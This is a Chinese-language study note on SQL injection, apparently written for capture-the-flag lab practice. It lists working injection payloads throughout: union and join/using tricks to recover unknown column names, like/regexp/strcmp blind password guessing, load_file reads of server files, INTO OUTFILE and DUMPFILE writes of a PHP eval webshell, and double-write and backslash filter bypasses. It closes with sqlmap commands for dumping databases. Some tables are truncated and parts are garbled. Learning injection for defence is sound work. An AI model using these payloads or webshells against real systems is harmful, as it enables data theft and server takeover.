SQL注入学习笔记2
一、未知列名注入
未知列名注入一般用于过滤column,通过不需要查询列名的方式来获取数据。
1. union绕过列名
payload:id=-1 union select 1,a.2,3 from (select 1,2,3 union select * from user limit 1,1)a
分析payload要从最里面,最先执行的sql语句开始。
先看select 1,2 union select * from flag
,该语句的执行效果如下
表名变成是1,2,3 但我们要怎么获取到里面的数据呢,看第一个union查询的a.2
,它派生表的别名,.2
是第二个表,也就是user表的username列,a.2
相当于查询了username列名。
2. using报错注入
使用场景:未知列名
使用条件:报错回显
2.1 join函数
join函数 用于把两个表连接起来,join on是把满足条件的连接起来。
join用法:select * from user join flag;
2.2 using 函数用法
using函数 和join函数组合使用,作用是过来相同列
用法:select * from user join flag using(id);
2.3 别名查询
原理:使用别名的时候,不允许出现相同的列名。
select 1,1; 可以执行,不报错
select * from (select 1,1)a; 报错
2.4 using报错
根据别名查询不能存在相同列名的特性,我们可以构造相同列名来爆出列名。
payload:select * from (select * from user as a join user as b)c;
这样即可爆出第一个相同的列名,使用using组合已知列名即可爆出其他列名。
payload:select * from (select * from user as a join user as b using(id,username))c;
多个列名使用逗号分隔,在using函数内。
二、OOB外带注入
1. 通配符注入
1.1 通配符
在MySQL中搜索数据时,可以使用通配符代替多个字符,通配符必须和like一起使用。
1 | % 代替一个或多个字符 |
1.1 like函数
like函数 主要用于在where语句中搜索指定的匹配模式。
用法:select * from user where username like ‘a%’;
payload:password=admin&username=1' or 1=1 and password like 'i%'%23
前提知道admin,如果存在注入,可以使用like猜密码。
1.2 regex函数
正则表的是,又称规则表达式。(regex、regexp或re),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。
实例:select * from user where username regexp '^a';
匹配username列里已a开头的列。
payload:password=admin&username=1' or 1=1 and password regexp '^i'%23
2. strcmp函数注入
2.1 strcmp函数
strcmp函数 用于比较两个字符串的大小。
用法:select strcmp(‘a’,’b’);
当字符串相等时,返回0;当参数1大于参数2时,返回1;当参数1小于参数2时,返回-1。
2.2 strcmp注入
payload:password=admin&username=admin' and (strcmp((ascii(substr(password,1,1))),54))%23
当猜对时,strcmp返回0,经过and运算为假,所以返回账号密码错误。
当猜错时,不论strcmp返回-1还是1,再经过and运算后都是1,所以是密码错误。
三、load_file读文件
1. 文件操作基础
1.1 show的用法
show databases; 查看所有数据库
show tables; 查看当前数据库的所有表
show variables; 查看系统变量
show variables like ‘sec%’; 使用like限制或者模糊查询
1.2 MySQL读文件
MySQL新版本增加了一个secure_file_priv选项,用来读取文件进行限制。
secure_file_priv参数是用来限制load data,select……outfile,adn load_file()传到那个目录的。
当secure_file_peiv值为null时,表示MySQL不允许导入导出。
当secure_file_peiv值为/tmp时,表示MySQL只允许在/tmp目录导入导出
当secure_file_priv没有值时,表示MySQL对导入导出没有限制
开启方式,windows在my.ini中添加secure_file_priv =
,linux在my.cnf中添加secure_file_priv =
即可。
1.3 文件操作函数
load_file() 读取文件内容,返回一个字符串,文件必须位于服务器本地,必须使用绝对路径,并且对文件有操作权限,文件内容必须小于max_allowed_packet。注意:目录直接的区分使用/ 不能使用
实例:select load_file('/www/wwwroot/web/7/6/flag.txt');
2. load_file读文件
payload:password=admin&username=' union select 1,load_file('/www/wwwroot/web/7/6/flag.txt'),3%23
load_file必须放在回显位。
四、insert_into写文件
1. 写文件
1.1 into outfile写文件
into outfile函数 用于把数据导出到一个文件中。
into outfile的用法:select [column_name] from [table_name] into outfile [path];
限制条件:和load_file一样,受到seccure_file_priv的限制;path要使用/并且是绝对路径
写一句话:select '<?php @eval($_POST[1]);?>' into outfile '/www/wwwroot/web/7/7/value.php';
1.2 dumpfile函数
dumpfile函数 也是用于把数据导入到一个文件中,限制一行。
dumpfile用法:select [column_name] from [table_name] where id=1 into dumpfile [path];
限制条件:和load_file一样,受到seccure_file_priv的限制;path要使用/并且是绝对路径
写一句话:select '<?php @eval($_POST[1]);?>' into dumpfile '/www/wwwroot/web/7/7/value.php';
2. 两种列用方式
2.1 直接写webshell
写webshell:password=admin&username=dir' union select 1,2,"<?php @eval($_GET['dir']);?>" into outfile '/www/wwwroot/web/7/7/1.php'%23
读取flag:dir=readfile('flag.txt');
2.2 利用文件包含
使用场景:MySQL对文件读写做了限制,只允许在指定文件读写。
使用要求:当服务器存在文件包含漏洞时,可以利用文件包含+写文件来getshell
五、str_replace绕过
1. 双写绕过
1.1 str_replace函数
str_replace是一个php函数,主要用于替换字符串。
1 |
|
1.2 str_replace双写绕过
双写绕过一般是str_replace 出现了替换为空的情况因为str_replace是单次替换,不会在替换了一次之后,重新检查字符串能不能在被替换。
$username = str_replace(‘union’,’’,$username);
针对这种方法,就可以利用username=ununionion 这样的形式来绕过。
payload:password=admin&username='ununionion selselectect 1,2,3%23
SQL语句:select * from user where username=''union select 1,2,3#'and password='admin';
2. 反斜杠绕过
1.1 反斜杠
\反斜杠用于把特殊字符转义为普通字符,比如’在sql中是闭合的作用,如果加上'那他就是一个单引号,而不是闭合符号。
1.2 反斜杠绕过
$username=str_replace(“‘“, ‘\'‘, “admin’”);
最后运行的是:admin' 这样单引号就失去了闭合的作用,被当成了普通符号,这时候我们手动加一个反斜杠,这时被替换成admin\\‘,1 3个反斜杠转义了2 4个反斜杠,所有单引号就能跳出来。
payload:password=admin&username=\'union select 1,2,3%23
SQL语句:select * from user where username='\\'union select 1,2,3#'and password='admin';
六、sqlmap使用
1. sqlmap的环境介绍
1 | .git git代码管理残酷 |
2. sqlmap的一些常用参数
检查指定url是否存在sql注入
sqlmap.py -u url
当前正在使用的数据库名称
sqlmap.py -u url –current-db
当前正在使用的用户名
sqlmap.py -u url –current-user
列出所有数据库
sqlmap.py -u url –dbs
列出指定数据库的所有表
sqlmap.py -u url -D database –tables
指定库名和表名列出所有列名
sqlmap.py -u url -D database -T table –columns
获取全部列名数据
sqlmap.py -u url -D database -T table –dump
获取指定列名数据
sqlmap.py -u url -D database -T table -C column –dump
指定获取多少条数据
sqlmap.py -u url -D database -T table -C column –start x –stop y –dump
延迟注入
sqlmap.py -u url –delay 2
最大http请求并发数量(线程)
sqlmap.py -u url –threads 10
3. 使用sqlmap实现注入
3.1 检查是否存在sql注入
paylaod:py -3 sqlmap.py -u "http://192.168.1.128/7/9/strsql.php" --data="username=admin" --batch
–data=”username=admin” 指定注入名,post方式提交。
–batch 默认值注入,不需要人为选择
3.2 查询所有数据库
paylaod:py -3 sqlmap.py -u "http://192.168.1.128/7/9/strsql.php" --data="username=admin" -dbs
可以加入线程参数,–threads 10
完结